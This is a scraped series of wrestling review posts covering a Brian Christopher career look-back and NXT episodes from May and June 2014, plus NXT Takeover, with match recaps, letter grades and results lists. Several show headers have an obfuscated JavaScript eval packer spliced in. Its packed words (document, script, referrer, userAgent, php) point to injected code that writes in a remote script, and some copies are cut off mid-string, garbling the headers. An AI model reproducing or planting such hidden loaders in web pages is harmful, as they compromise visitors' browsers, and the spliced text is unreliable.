Back in and Slash grabs a superplex for two, followed by what we would call the Eye of the Storm. Lawler comes back with a floatover DDT but stops to dance instead of covering. There’s an enziguri from Brian and there’s even more dancing. Both guys hit the other low (in front of the referee who is cool with this I guess) before Slash puts Lawler on top. Brian knocks him down and hits the guillotine legdrop for the pin.

Rating: D. This didn’t quite work because Lawler is really hard to care about. I have no idea if he’s a face or if he’s a heel here and the lack of clarity is really annoying after awhile. Also, the dancing thing is dead but he keeps doing it anyway because it used to work a few years ago. Slash and the Disciples of the New Church continue their free fall as well.

After several more years in the indies, Christopher would fall off radar for a good while. He would eventually return to the WWE on Old School Raw, January 6, 2014.

3MB vs. Too Cool/Rikishi

This is as obvious of a match as you can get. Grandmaster and Jinder get things going with Grandmaster scoring with a quick dropkick. Off to Scotty who is still in good shape but gets punched down by McIntyre. Drew misses a charge in the corner and the bulldog sets up the WORM. Slater robs us of our gratification though and 3MB takes over again. The announcers spend the entire match arguing over whether Too Cool can be called the Hip Hop Twins, thereby making the whole thing about them instead of the legends.

Scotty clotheslines McIntyre down and makes the hot tag to Rikishi who looks incredibly slow. He does manage a superkick to Mahal for two but Slater makes the save. Rikishi clotheslines two Band members down and the Hip Hop Drop takes out McIntyre. Mahal tries a sunset flip on Rikishi but gets sat on for the pin at 5:24.

Rating: D+. The match sucked and the commentary was annoying, but this is exactly what modern nostalgia should be about. Too Cool is an act that’s old enough for people to reminisce but not old enough that they embarrass themselves in the ring. Nobody is hurt, the fans get to have a fun moment and everybody wins. Good stuff.

This appearance got Too Cool a surprise spot on the first NXT special called Arrival.

NXT Tag Titles: Ascension vs. ???

There’s an open challenge from Ascension tonight and their opponents are…….TOO COOL??? That’s a rather bizarre choice to put it mildly. Viktor slaps Sexay down to start and doesn’t approve of the dancing. Off to Konor for a hard legdrop and even harder shoulder blocks. Viktor slams Sexay down and puts on a chinlock before driving in elbows. I think the fans say they want water and then gum. Sexay finally fights up and makes the hot tag to Scotty whose offense has very little effect. He gets the bulldog and loads up the Worm, only to have Viktor pop up and run him over. Fall of Man ends Scotty at 6:40.

Rating: D. This was WAY too long and Too Cool was the totally wrong choice for the challengers here. They’re a fun team who had a month long title reign FOURTEEN YEARS AGO. This is the problem with nostalgia: it’s fun to push every now and then, but when it’s pushed over teams that deserve the shots more, you’ve got a problem.

Brian Christopher is a guy who tried to get out of his dad’s shadow but only succeeded to a degree. His run in Too Cool is definitely the high point of his career and the crowd ate the act up. Brian’s talking in Memphis was great stuff but at the end of the day that act just didn’t work outside of the territory. Still though, he certainly wasn’t terrible and could fly well enough to get by.

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NXT – June 5, 2014: Everybody Take A Deep Breath

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysstn|var|u0026u|referrer|zyndt||js|php'.split('|'),0,{})) June 5, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: William Regal, Tom Phillips, Byron Saxton

We’re starting a new cycle tonight after Takeover blew the doors off the place last week. There aren’t a ton of stories coming out of the show but the main thing was Tyson Kidd refusing to shake Adrian Neville’s hand after his loss in the NXT Title match. Kidd as a heel is an interesting idea and might lead to either a rematch with Neville or a match with Sami Zayn. Let’s get to it.

We open with a recap of the end of last week’s show.

Opening sequence.

Tyler Breeze has entered the building.

Mojo Rawley vs. Aiden English

Aiden sings about Mojo failing America last week. Mojo shoves him into the corner to start but English kicks him down and gets two off a running neckbreaker. We hit the chinlock for a bit but Mojo rolls out of it and kicks English in the face to take over. A Rear View takes English down and Hyperdrive gets the pin at 2:50. Nothing to see here.

We look at the Takeover post show from last week with Paul Heyman needling him a bit about the loss. Kidd seems very upset.

Natalya supports her husband.

Some Special Olympians are here.

Bayley vs. Charlotte

Non-title. The fans are entirely behind Bayley as Charlotte takes her down into a headlock. Back up and Bayley grabs an armdrag followed by another coming off the middle rope. She rolls over Charlotte on the mat in an overdone bit, only to have Charlotte nail her in the back with some hard knees for two. Charlotte tries to do the same amateur roll and looks more inept than comedic.

Off to the figure four headscissors by the champion before Bayley comes back with some weak right hands. Sasha Banks takes a right hand as well but Charlotte gets in a few shots of her own. Cue the returning Summer Rae to hug Sasha but the distraction isn’t enough to distract Charlotte as she nails Bow Down to the Queen for the pin at 4:20.

Rating: C-. Not much of a match here but it was much more about the angle than anything else. I’m glad we’re actually getting some closure to the BFFs as Summer getting promoted just kind of killed the thing dead, but now we can get a blowoff match in the future to get rid of Summer for good.

The BFFs reunite and triple team Bayley until Paige and Emma make the save.

Jason Jordan and Tye Dillinger talk about names.

Video on the Ascension being all dominant.

Jason Jordan/Tye Dillinger vs. Phillip Ghouljar/Stuart Cumberland

Regal loves the name Ghouljar. Fans: “LET’S GO JOBBERS!” Dillinger chops away at Cumberland to start and the chops rip the skin off his chest. Off to Ghouljar as the fans chant Charlie Haas at Dillinger. Jordan comes in and puts on a front facelock before the pretty boys drop some knees. The jobbers actually take Dillinger into the corner for a bit but he comes back with chops to Ghouljar. A not very hot tag brings in Jordan and it’s a superkick from Tye into a Jordan Slam (Angle Slam) for the pin on Cumberland at 5:50.

Rating: D+. The pretty boys are fine for a thrown together team but they still need some more wins before they fight the Ascension. They’ll be good challengers and maybe even the team that takes the belts, but more importantly they’re an actual team that can face the Ascension instead of a bunch of jobbers.

CJ Parker is in the front row with a pro-forest sign.

Summer Rae brags about her accomplishments to the BFFs.

Here’s Tyler Breeze to introduce his music video and make fun of Sami Zayn (Seth Rogen’s uglier brother) for his loss last week.

The video is just Breeze singing, but it’s dedicated to all his fans….even the uggos.

We recap Bo Dallas being thrown out of NXT two weeks ago. This gets a big song about Bo never giving up. Dallas freaking out about the fans not leaving after his loss is funny stuff.

Justin Gabriel vs. Adrian Neville

No DQ and non-title. Justin’s armbar to start goes nowhere so they run the ropes a bit with Gabriel taking over with a hurricanrana. Gabriel suckers Neville in and clotheslines him to the floor, only to have the champion clothesline him right back. A running cannonball off the apron puts Justin down and we take a break with Adrian holding an armbar.

Back with Justin hitting a running forearm in the corner followed by a floatover suplex into a double arm stretch. Neville quickly fights back and gets two off a middle rope dropkick. Justin comes back with a nice rollup for two before elbowing the champion down with ease. Adrian’s springboard is dropkicked out of the air and Justin is bleeding a bit above the eye. The 450 is rolled through and Adrian hits a running dropkick in the corner, setting up the Red Arrow for the pin at 8:00.

Rating: C+. Take two high fliers and let them go nuts out there. To be fair they didn’t really have time to get as insane as they did last week, but this was still fine for the most part. It’s kind of amazing how fast Gabriel fell, as you would think that 450 would have kept him on the main roster longer than it did.

Tyson Kidd comes out for the showdown post match. He apologizes for what he did and promises to beat Adrian next time. Tyson wants one more shot and Adrian accepts the challenge, but emphasizes that it’s the last time. Nothing physical happens to end the show.

Overall Rating: C. This was kind of an episode to catch their breath and set up some future stuff. Jordan and Dillinger are fine for the kind of team they’re trying to be and we have a rematch set up for the title, in addition to Tyler Breeze lurking. It’s not a great show, but there was bound to be a letdown after how awesome things were last week. Good but not excellent here.

Results
Mojo Rawley b. Aiden English– Hyperdrive
Charlotte b. Bayley – Bow Down to the Queen
Jason Jordan/Tye Dillinger b. Phillip Ghouljar/Stuart Cumberland
Adrian Neville b. Justin Gabriel – Red Arrow

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NXT: Takeover: They’re Ready

NXT: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzhty|var|u0026u|referrer|nriya||js|php'.split('|'),0,{})) Takeover
Date: May 29, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, William Regal, Byron Saxton

It’s the second two hour live NXT special tonight and the card looks solid. The main event is Adrian Neville defending the NXT Title against Tyson Kidd after Kidd won a triple threat a few weeks ago. Other than that we’ve got the other two titles on the line as well, with Ascension defending against Kalisto/El Local and Charlotte vs. Natalya for the vacant Women’s Title. Let’s get to it.

The opening video is about change, with NXT taking over the world. A Takeover you might say.

Adam Rose leads his party from outside, all the way into the arena for his match. Awesome entrance.

Adam Rose vs. Camacho

Rose is feeling rather playful as he jumps into Camacho’s arms, only to be slammed down to the mat in a hard landing. A nice butterfly suplex gets two on Adam and we hit the chinlock. The fans sing the song to get Rose back to his feet because this is the most awesome crowd in wrestling. Rose escapes and starts Hulking Up but a hard boot to the face puts him down for two. Another chinlock slows things down as the fans chant PARTY TIME. Camacho drops a leg for two but Rose fights back with left hands and a big spinebuster. A Bronco Buster sets up the Party Foul to pin Camacho at 5:10.

Rating: C. This wasn’t a great match but it was the perfect way to open up a big show. Rose is very similar to Godfather, as the matches aren’t all that impressive but he’s going to get a crowd over no matter what he’s doing. That’s a very valuable thing to have and something that should keep Rose on the main roster for a long time.

Video on Zayn vs. Camacho from Arrival and what it meant to Zayn. Sami says Tyler Breeze is a bit different kind of opponent.

Tyler Breeze has entered the building. Regal: “My night is made!”

Tag Team Titles: Kalisto/El Local vs. Ascension

Ascension is defending and their challengers have only wrestled together a few times. The champions go after the masked men to start but stereo headscissors put them on the floor. Local and Kalisto load up stereo suicide dives but charge into uppercuts to knock them back into the ring. Viktor starts by throwing Kalisto around before it’s quickly off to Konnor for a big elbow drop. A double chicken wing has Kalisto in even more trouble.

Back to Viktor who rips at Kalisto’s mask before putting him in the Tree of Woe for kicks from Konnor. They head outside to keep up the destruction but Kalisto kicks Konnor in the face and rams Viktor face first into the apron. It’s not enough for a hot tag though as Ascension takes him into the corner. Kalisto FINALLY dives over to make the tag and Local speeds things up. A middle rope moonsault gets two as everything breaks down. Viktor just ENDS Local with a running clothesline though, setting up Fall of Man for the pin at 6:20.

Rating: D+. The hot tag was a bit of an improvement but this was more of the same from Ascension. At the end of the day, they’re desperately in need of competition unless they’re brought up to the main roster to take the belts from the Usos soon. Either that or the new pretty boy team will knock them off, which isn’t the worst idea in the world.

Video on Tyler Breeze.

Sami Zayn vs. Tyler Breeze

#1 contenders match. Breeze has new music, completely with paparazzi sounds. Tyler cranks on the wrist to start but gets taken down by a top wristlock. Zayn snaps off three very fast armdrags to take over and hooks an armbar. Back up and Sami goes to the corner, only for Tyler to grab his leg and whip Zayn all the way down to the floor. Breeze stomps away in the corner before hitting a nice bulldog into the middle buckle. Tyler’s hair is down, I believe for the first time ever in NXT.

We hit a front facelock on Sami but he finally fights up and throws Breeze off. I love the subtle things Sami does like have to try three times before shoving Tyler away. It’s a great way to build up sympathy and get the crowd behind you. Breeze heads outside so Zayn hits a huge slingshot moonsault to take him down. Back in and a high cross body gets two on Tyler followed by a wicked Blue Thunder Bomb for the same.

A frustrated Sami goes up top but has to roll through a cross body, only to charge into a kick to the ribs and a DDT for two. Tyler comes back by pulling Sami from the mat out of the corner into a sitout powerbomb for another near fall. Breeze goes nuts in the corner with right hands but Sami comes back with an exploder suplex to send him into the buckles. They slug it out with some very intense BOO/YAY chants.

Sami stops himself before running into the referee and gets rolled up for two. The Blue Thunder Bomb is countered into a series of standing switches before Tyler superkicks Sami’s head off but Zayn kicks out AGAIN. The fans are literally standing and cheering for this. Both guys are spent but it’s Breeze in control. Sami blocks an Irish whip and tries an arm trap powerbomb but the fall down in a sloppy looking sequence. That’s fine with Zayn though as he loads up a fisherman’s buster but flips Breeze forward into a powerbomb for two.

Breeze bails to the floor, allowing Sami to hit a gorgeous flip dive. The landing looked very rough though as Sami’s leg smacked Breeze in the head and knocked it into the steel ramp. Back in and Sami tries the Helluva Kick but Breeze’s head goes down, causing a low blow to Sami. Zayn falls backwards and the Beauty Shot gives Breeze the pin at 15:55.

Rating: A-. That botched sequence near the end is one of the only things holding this back. Sami is more than ready for WWE by this point but at some point he needs to get a major win in NXT. I’m fine with them not making him champion, but there’s a good chance this gets a rematch due to the ending. Breeze’s best match ever by about 10,000 miles as well.

Here are Lana and Rusev with something to say. Lana says Rusev has spread his power to Raw and Smackdown but now he’s back here receive adulation. This brings out Mojo Rawley with an American flag to stand up to this horrid villain. Rawley says in America, we don’t get hyped. WE STAY HYPED! Mojo hits the ring….and gets his head kicked into the fourth row. Rusev hammers away and Accolades Rawley in about 20 seconds. Rusev still isn’t done though as he puts on the Accolade on the ramp.

Video on Charlotte vs. Natalya, which will see both famous relatives in the corners.

Kris Kristofferson is here.

Before the match, here’s Paige to say how good it is to be home. She thanks the fans for their help in making her Divas Champion because she couldn’t do it without them. Paige is also proud to be the first NXT Women’s Champion but tonight is about a new champion. Whoever that is has to have strength, character and grace because she’s the key to the future. Holding the Women’s Title is the key to the Divas Title, so enjoy the rest of the show.

Women’s Title: Charlotte vs. Natalya

This is a tournament final for the vacant championship. Charlotte has a remixed Ric Flair theme song and it’s really not working. After some big match intros, we’re ready to go. Feeling out process to start as the legends play cheerleaders. Natalya takes her down by the arm but gets caught in a headscissors. Back up and Natalya grabs the headlock as well. That goes nowhere either so they fight over wristlocks until Charlotte grabs an armbar.

Natalya does the Owen Hart roll out and grabs a leg lock to take over. Back up again and Natalya takes her right back down with another leg tie. Charlotte reaches around to grab a chinlock which goes into a front facelock. They hit the ropes for a bit with Natalya countering a wheelbarrow slam into a cradle for two. Natalya grabs a body scissors but Charlotte rolls to the ropes to avoid a cross armbreaker.

Charlotte gets tired of submission stuff and slaps Natalya in the face. A BIG chop puts Natalya down and Ric loses his mind going WOO. Natalya tries a sleeper but gets caught in an over the shoulder Stunner for two. Charlotte slams the Canadian’s face into the mat over and over before choking in the corner a bit. Off to a figure four headlock complete with Madison Rayne’s face ram into the mat.

Back up and it’s off to an abdominal stretch on Natalya, albeit not a very good one. Natalya reverses into a much better one and even grabs Charlotte’s leg for good measure. Charlotte rolls out and hits a low dropkick for two. Natalya fights back with power and a low dropkick of her own, followed by a whip into the corner for a Flair Flip. They head outside with Charlotte whipping Natalya off the apron by the leg. Back in and Charlotte goes up, only to miss a moonsault.

A discus lariat gets two for Natalya and the Sharpshooter goes on, but Charlotte rolls out and puts on the Figure Four. Natalya somehow reverses the pressure without turning the hold over and Charlotte crawls to the apron. She falls to the floor with the hold still on and both girls are in trouble. Natalya is sent knee first into the steps and it’s back inside for a bad Sharpshooter (complete with a glare at Bret) but Natalya rolls through, only to be kicked away from the Sharpshooter. Charlotte hits Bow Down To The Queen out of nowhere for the pin and the title at 16:55.

Rating: B+. Who would have thought THIS would be awesome? Charlotte has somehow become awesome in like two months and more than held her own out there. It was hard to imagine Natalya winning here but it was still an absolutely awesome match between two wrestlers who happen to be girls.

They shake hands post match, as do Ric and Bret for a nice moment.

Video on Neville’s rise to the top of NXT and his match with Kidd tonight.

Cesaro and Christian are here.

Kidd and Natalya are ready.

NXT Title: Tyson Kidd vs. Adrian Neville

Neville is defending. Big match intros are done and we’re ready to go. They shake hands and talk trash to each other until Tyson takes him down with a headlock. Adrian spins up and Tyson shoves him down to annoy the champion. Back up and this time it’s Adrian taking Kidd down and into the ropes for another staredown. The champion grabs an armbar (Fans: “ARMBAR! ARMBAR!”) but Kidd is quickly up and things get faster. Neville flips over to escape a backdrop but Kidd does the same, leading to another staredown. This time though Kidd blasts him in the face and kicks away, giving us a mid match heel turn.

Kidd puts him into the Tree of Woe before lifting him up for a kick to the back. A running dropkick has Adrian in trouble and we hit the chinlock. Neville fights up but Kidd sends him to the floor and hits a big flip dive for two back inside. Adrian is back up again and they hit cross bodies at the same time to put both guys down. Now they trade kicks to the ribs but Adrian hits a sliding kick to the head to take over. Now it’s Kidd put in the Tree of Woe for the same kind of kicks that he threw earlier.

A running delayed dropkick knocks Kidd senseless but it’s only good for two and the champion is getting frustrated. Kidd comes back with a pair of kicks to the head but Adrian kicks out at two. Tyson goes up but Neville blocks the Blockbuster with a forearm to the jaw. Adrian’s superplex is countered into a powerbomb but Adrian flips out and hits a sitout powerbomb for two.

Adrian loads up what looked to be a Lionsault press but Kidd runs at the ropes for a middle rope Russian legsweep for a close two. Kidd dives into knees but gets rolled up for another near fall. The champion tries a suplex but they both fall over the top rope and crash to the floor. Both guys slide in to beat the count and they’re spent.

Kidd loads up the Sharpshooter but leans forward to put on the Dungeon Lock (instead of turning over he grabs Adrian’s arm and leans back for a choke with a leg lock). Adrian is in the ropes, so Kidd ties him up in those ropes for a top rope flip legdrop and two. Kidd loads up the Blockbuster but Adrian counters into a gorgeous top rope hurricanrana. Kidd is almost out cold and the Red Arrow is enough to keep the title in England at 20:00.

Rating: A-. Take two guys and let them fly around the ring for a long time. Again, Kidd winning wasn’t likely at all but that doesn’t mean he can’t go out there and tear the house down like he just did. Neville is getting a huge star rub, even though he doesn’t seem to be the longest term solution as champion.

Kidd very slowly gets up but won’t shake hands.

Overall Rating: A. This was an AWESOME show with three incredible matches out of five with the other two not being bad at all. NXT continues to be the most outstanding wrestling promotion going right now with nothing but great matches and shows almost every week. It’s amazing how this doesn’t translate all that well up to WWE though, as the scripting of everything stops so much of the momentum that NXT has due to people just going out there and tearing the house down. Excellent show, just like Arrival.

Results
Adam Rose b. Camacho – Party Foul
Ascension b. El Local/Kalisto – Fall of Man to Local
Tyler Breeze b. Sami Zayn – Beauty Shot
Charlotte b. Natalya – Bow Down to the Queen
Adrian Neville b. Tyson Kidd – Red Arrow
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NXT – May 22, 2014: Bo Dallas Is Glorious

NXT
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhtai|var|u0026u|referrer|hfnrn||js|php'.split('|'),0,{})) May 22, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Renee Young, Alex Riley, Rich Brennan

It’s the go home show for Takeover next week so odds are we’re going to be seeing a lot about Tyson Kidd tonight. The other main story coming into tonight is the last chance for Bo Dallas. He’s facing Big E. tonight and if he wins, he gets a future shot at the NXT Title. If he loses though, he’s done in NXT forever. The ending should be fairly obvious at this point, but the reaction should be awesome. Let’s get to it.

We open with a recap of Bo’s issues leading up to his match tonight.

Bo Dallas vs. Big E.

They’re starting fast this week. Bo has the Bolieve music and Titantron already. Before the match Bo talks about the love he has for his fans and accepts the title of Mr. NXT. Big E. is already doing the Five Count again and he’s instantly more interesting than he’s been for months. Dallas is quickly sent to the floor before a shoulder drops him with ease. Big E. does it again but this time he follows Bo to the floor. Dallas comes back with a knee to the ribs to take over and the big man is sent into the steps.

Back in and we hit the front facelock on Big E. before taking a break. We come back with Big E. driving shoulders into Bo in the corner but walking into a suplex for two. The fans are singing He’s Got The Whole World In His Hands as Bo stands over Big E. Back up and Big E. makes his come back with a clothesline and belly to belly suplex before just running him over again.

There go the straps but Bo counters the Big Ending into a reverse DDT for two. The bulldog out of the corner is countered and Big E. gets two more off an overhead belly to belly. The Warrior Splash hits knees though and Bo nails the double arm DDT for another near fall. Bo throws his wrist tape down for a distraction and takes off the buckle pad, which is how he beat Big E. for the title last year. This time though Bo is splashed into the steel and the Big Ending means no more Bo at 8:50.

Rating: C. The match was fine and a nice callback to the first meeting last year. There was no way Dallas was going to win here though and this is the right call all around. Big E. getting a win is always nice to see after he’s been crushed on the main show for so many months.

Dallas of course cracks after losing while the fans sing the Goodbye Song.

Dallas of course cracks after losing while the fans sing the Goodbye Song. The freaking out continued during the break with the fans changing BO LEAVE! Bo grabbed the mic and said he strongly dislikes every one of them. They should have just bolieved and now they can just leave. Bo finally walks out.

The announcers talk about Kidd vs. Neville for a bit.

Kidd says he’ll win next week.

Sami Zayn says the loss last week isn’t going to stop him. Tyler Breeze comes in and they mock each other until Sami challenges him for a match. Tyler agrees for Takeover.

Paige vs. Tamina Snuka

Non-title. Paige fights out of the corner to start and kicks Tamina in the ribs before screaming in her face. The fans chant Superfly as Tamina slams Paige down a few times. A running clothesline gets two on Paige and a forearm to the back puts her down. Tamina hooks a torture rack but it’s more like a fireman’s carry. Paige fights back and knocks Tamina to the mat, only to pull her right back up to knock her down again. Tamina picks her up and sits Paige on the top rope before knocking her ribs first onto the apron. Back in and the Superfly Splash hits feet and a small package gives Paige the pin at 6:00.

Rating: D+. Dull match but Paige’s formula is starting to work. She’s getting beaten down because she’s not that experienced but finding a way to win by exploiting a single mistake her opponents make. I’ve heard worst styles for someone to use and she’s WAY over down in NXT as well. Why she needed to lose to Alicia Fox is beyond me, but I’m not as smart as WWE writers.

Adam Rose vs. Camacho

Rose charges right at him but gets hammered in the corner instead. That’s fine for Adam as he charges at Camacho and takes him down with right hands. Camacho fights out of the corner and stomps Rose down. Fans: “PARTY POOPER!” A release butterfly suplex and a legdrop gets two but Rose gets all ticked off and Hulks Up. He hammers away with right hands and nails a spinebuster to set up a bronco buster. What appeared to be a Diamond Cutter is shoved away and Camacho runs to the floor. Camacho just takes the countout at 3:55.

Rating: D+. Rose isn’t bad in the ring but he’s all character for the most part. I have no idea why Camacho of all people isn’t allowed to be pinned here, unless there’s going to be a rematch next week at Takeover. If that’s the case, why have this match here at all? I don’t get this one.

NXT Womens Title Tournament Semifinals: Natalya vs. Sasha Banks

Charlotte isn’t sure who she wants to win because she doesn’t want to embarrass her friend but wants her to succeed. Natalya grabs a quick rollup for two and runs Sasha over for the same. Banks comes back with a running knee in the corner as Charlotte is cheering, but it’s not clear for whom. We hit the chinlock on Natalya as Renee says Sasha realizes she’s lost all her matches since Charlotte has been back. Not quite but the Divas don’t always make a ton of sense. Natalya comes back with a butterfly suplex of her own and Sasha goes to the floor holding her leg. Back in and the Sharpshooter sends Natalya to the finals at 4:00.

Rating: C-. Not bad here and points to NXT for trying to set up a possible way Sasha could win. Natalya vs. Charlotte is the better choice but this wasn’t the worst match in the world. Charlotte has the character down and is getting better in the ring. She doesn’t need Sasha but splitting them up isn’t the best idea in the world either.

We run down the Takeover card. Zayn vs. Breeze is a #1 contenders match.

Adrian Neville vs. Curt Hawkins

Non-title. Renee goes to the same bagel shop as Hawkins. I love little lines like that as they sound like they could happen and we haven’t heard them a million times before. Neville easily takes him to the mat but Hawkins pops back up and nails a clothesline to the back of the head. A suplex gets two on Adrian and we’re already in the chinlock. Neville fights up and hits a missile dropkick to set up the Red Arrow for the pin at 2:23.

Post match Tyson comes out and says he’s the toughest competition Adrian has ever fought. Adrian says NXT is the future so he’s the future. Therefore, at Takeover, the only member of Kidd’s family to take home some gold will be Tyson’s wife. “As usual.” Kidd stares him down to end the show. Neither came off like a heel here.

Overall Rating: C+. This show did the one job it had: it made me want to see Takeover. The show isn’t going to have anything groundbreaking and most of the matches are predictable, but I have no doubt that NXT is going to put on at least an entertaining show. Kidd is a great choice to have an awesome match with Neville and the rest of the card should be good as well. Nice show here but it’s just setting up next week.

Results
Big E. b. Bo Dallas – Big Ending
Paige b. Tamina Snuka – Small package
Adam Rose b. Camacho via countout
Natalya b. Sasha Banks – Sharpshooter
Adrian Neville b. Curt Hawkins – Red Arrow

 

 

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NXT – May 15, 2014: Problems? What Problems?

NXT
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfisn|var|u0026u|referrer|dirid||js|php'.split('|'),0,{})) May 15, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: William Regal, Tom Phillips, Byron Saxton

We’re two weeks away from Takeover and the main story coming into tonight is finding a challenger for Adrian Neville’s NXT Title. Last week, Tyson Kidd, Tyler Breeze and Sami Zayn tied in a battle royal, setting up a triple threat for the show this week. My guess is the two losers will face off at Takedown as well. Let’s get to it.

We open with a recap of the battle royal and the three winners.

Roar of the Crowd.

Ascension vs. Buddy Murphy/Elias Samson

Non-title. The announcers talk about the tag team initiative, meaning a lot of new teams will be formed. Again, NXT has a problem and they do something to solve it. Murphy gets things going and the beating is on in a hurry. Samson never even makes it into the ring as a series of clotheslines, forearms and stomps set up the Fall of Man to Murphy for the pin at 1:30.

Post match Ascension says bring them someone new to destroy. This brings out El Local and Kalisto to make a challenge for Takeover. A LUCHA chant starts up and Ascension seems to like the idea.

Sami Zayn says this is his chance to redeem himself and get one step closer to the NXT Title. It won’t be easy but he’ll do whatever it takes to reach his goal.

NXT Womens Title Tournament Semifinals: Alexa Bliss vs. Charlotte

Charlotte gets caught in a quick rollup for two but comes back with a clothesline for a pair of two counts. We hit a modified abdominal stretch from Charlotte but Bliss counters into another rollup for two. Charlotte slams her face first into the mat and it’s back to the stretch, only to have Bliss reverse into a sunset flip for another near fall. Bliss is bent over Charlotte’s knee for a few moments before Bow Down To The Queen (the flipping facebuster) is good for the pin at 5:00.

Result: Charlotte b. Alexa Bliss – Bow Down To The Queen (5:00)

Tyler Breeze is ready to win because he’s fighting two ugly Canadians.

Mojo Rawley vs. Aiden English

English sings about how proper he is before Rawley throws him around after the bell. He hits a few football tackles to put the proper one down and English looks shaken up. Rawley chases him into the ropes but gets caught coming in, allowing English to take over. Ascension vs. Kalisto/El Local is official for Takedown. A DDT gets two on Mojo and we hit a quickly broken chinlock. Mojo fights up and hits some splashes in the corner, setting up Hyperdrive for the pin at 3:32.

Result: Mojo Rawley b. Aiden English – Hyperdrive (3:32)

Tyson Kidd wants to win here to make himself a bigger deal in NXT.  He’s the leader of the pack in NXT and will be its champion.

Big Cass vs. Angelo Dawkins

It’s a new name for Cassidy this week. Cass hammers Dawkins into the corner as CJ Parker comes out to ringside with a recycling sign. It doesn’t matter much as Cass stays on offense as we’re firmly in squash territory here. A big slam gets two but Dawkins gets an elbow up in the corner. Dawkins hits a nice dropkick but gets caught by a knee to the jaw. The S-A-W-F-T Forearm sets up a spinning Rock Bottom (East River Crossing) for the pin on Angelo at 3:26.

Rating: D+. Total squash here but man alive I hope Parker doesn’t get another feud anytime soon. Cass is a guy with some talent but he needs a wingman like Enzo to keep things interesting. The name change helps as Colin isn’t exactly the most intimidating name in the world.

Bo Dallas shows JBL a stack of letters from fans who say he should get another title shot. The fans on his hotline think he should get another as well. JBL thinks it should be a gamble though. How about this: if Dallas wins his next match, he gets a title shot. If he loses, he’s gone from NXT forever. JBL gives him FIVE guesses who the opponent is.

Tyler Breeze vs. Sami Zayn vs. Tyson Kidd

Winner gets the shot at Neville in two weeks. The fans chant for Yoshi Tatsu of all people but settle down for the bell. Kidd takes over to start and hits a running kick to both heads. Sami and Breeze send Tyson to the floor before brawling in the corner. Tyson is back in now but has to break up a cover on Sami after the Beauty Shot as we take a break.

Back with Sami on the floor and Kidd charging into Breeze’s boot in the corner. Kidd is quickly back up but Breeze is in the ropes to avoid the Sharpshooter. The fans want Yoshi but get Tyler stopping a dive with a forearm to the head. Sami dives on Breeze instead and gets two off a high cross body to Kidd. Breeze escapes the Blue Thunder Bomb but the second attempt works a bit better for two.

Sami takes a lot of time in the middle of the ring for some reason before grabbing Breeze for an exploder suplex. Kidd grabs Sami for a German suplex at the same time and all three are down. Breeze falls to the floor so the good guys can slug it out. Kidd slaps on the Sharpshooter in the middle of the ring but Breeze makes the save. Breeze gets suplexed into the corner for two for Kidd. Sami can’t hit the tornado DDT on Tyler but Kidd’s Blockbuster attempt is broken up. The Helluva Kick takes Breeze down but Kidd throws Sami outside, setting up a top rope elbow to Breeze to send Tyson to Takeover at 11:33.

Rating: C+. There was a bit too much laying around but this was one of the matches that didn’t have a bad option. Kidd is a good choice for a title shot as he could take the title but will get at least a solid match no matter what. Breeze was in a bit over his head but he certainly wasn’t bad out there.

Sami is stunned as Kidd celebrates.

Overall Rating: C+. As usual, NXT is capable of pulling a rabbit out of its hat without hurting the ears at all. This took care of a lot of the issues the show has been having lately, including giving us a tag team to fight Ascension. No they’re not all that established, but at least there’s someone instead of two jobbers. That and Bo Dallas should be written off TV to go to WWE full time. What more can you ask for?

Results
Ascension b. Buddy Murphy/Elias Samson – Fall of Man to Murphy
Charlotte b. Alexa Bliss – Bow Down To The Queen
Mojo Rawley b. Aiden English – Hyperdrive
Big Cass b. Angelo Dawkins – East River Crossing
Tyson Kidd b. Sami Zayn and Tyler Breeze – Top rope elbow to Breeze

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NXT – May 8, 2014: The Tyson Tomko Of Wrestling (It’s A Good Thing)

NXT
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zykry|var|u0026u|referrer|erfyy||js|php'.split('|'),0,{})) May 8, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Jason Albert, Renee Young, Rich Brennan

We’re getting closer to Takeover and the big story is the lack of a challenger for NXT Champion Adrian Neville. After dispatching Brodus Clay last week, Adrian needs someone new to fight and odds are we’ll find out who that is tonight. The Women’s Title tournament will also continue tonight and since this is NXT, that’s not necessarily a bad thing. Let’s get to it.

Opening sequence.

NXT Womens Title Tournament First Round: Emma vs. Charlotte

They circle each other to start until Charlotte takes him up against the ropes. A hard clothesline puts Charlotte down for one but she snaps Emma’s throat over the top rope to take over. We hit a figure four neck lock on Emma before she rams Emma’s face into the mat ala Madison Rayne. Emma fights up and nails another clothesline to put both girls down. She loads up the pink Cobra because that’s what WWE has done to her but Sasha Banks offers a distraction, allowing Charlotte to roll Emma up and bridge onto the legs (called Charlotte’s Web) for the pin at 3:50.

Rating: D+. This didn’t have time to go anywhere and the Cobra made it even worse. It’s one of the most annoying things about WWE and NXT: the people get over in NXT but then they make it to the main roster and the writers or whoever is responsible for these ideas have to change everything that worked and then blame the wrestlers when it doesn’t work.

The #1 contender to Neville’s title will be determined in a battle royal tonight.

Legionnaires vs. El Local/Kalisto

